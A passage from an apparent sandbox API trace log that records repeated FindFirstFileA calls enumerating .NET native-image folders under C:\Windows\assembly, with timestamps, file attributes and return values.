cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.521] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78c83f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ae8ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ae8ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.527] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ae8ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ae8ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.532] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b0ee00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b0ee00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b0ee00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b0ee00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.546] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b0ee00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b0ee00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.551] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b34f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b34f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.557] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b34f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b34f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.563] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b34f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b34f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.568] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b5b0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b5b0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.574] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b5b0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b5b0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.579] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b81220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b81220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.587] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b81220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b81220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.593] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12b81220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12b81220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.599] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ba7380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ba7380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.604] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ba7380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ba7380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.612] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12bcd4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12bcd4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.617] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12bcd4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12bcd4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.623] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12bcd4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12bcd4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.628] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12bf3640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12bf3640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.634] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12bf3640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12bf3640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.639] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12bf3640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12bf3640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.644] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c197a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c197a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.649] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c197a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c197a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.655] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c197a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c197a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.660] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3893150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c3f900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c3f900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.665] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c3f900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c3f900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.672] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c3f900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c3f900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.677] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c65a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c65a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.682] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c65a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c65a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.688] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c65a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c65a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.693] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c8bbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c8bbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.698] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12c8bbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12c8bbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.715] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cb1d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cb1d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.720] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cd7e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cd7e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.726] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cd7e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cd7e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.731] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cd7e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cd7e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.737] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cfdfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cfdfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.742] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\dc4e2d4b4c58e35bf39ea5b85557685f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cfdfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cfdfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.748] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12cfdfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12cfdfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.754] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d24140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d24140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.758] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d24140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d24140, 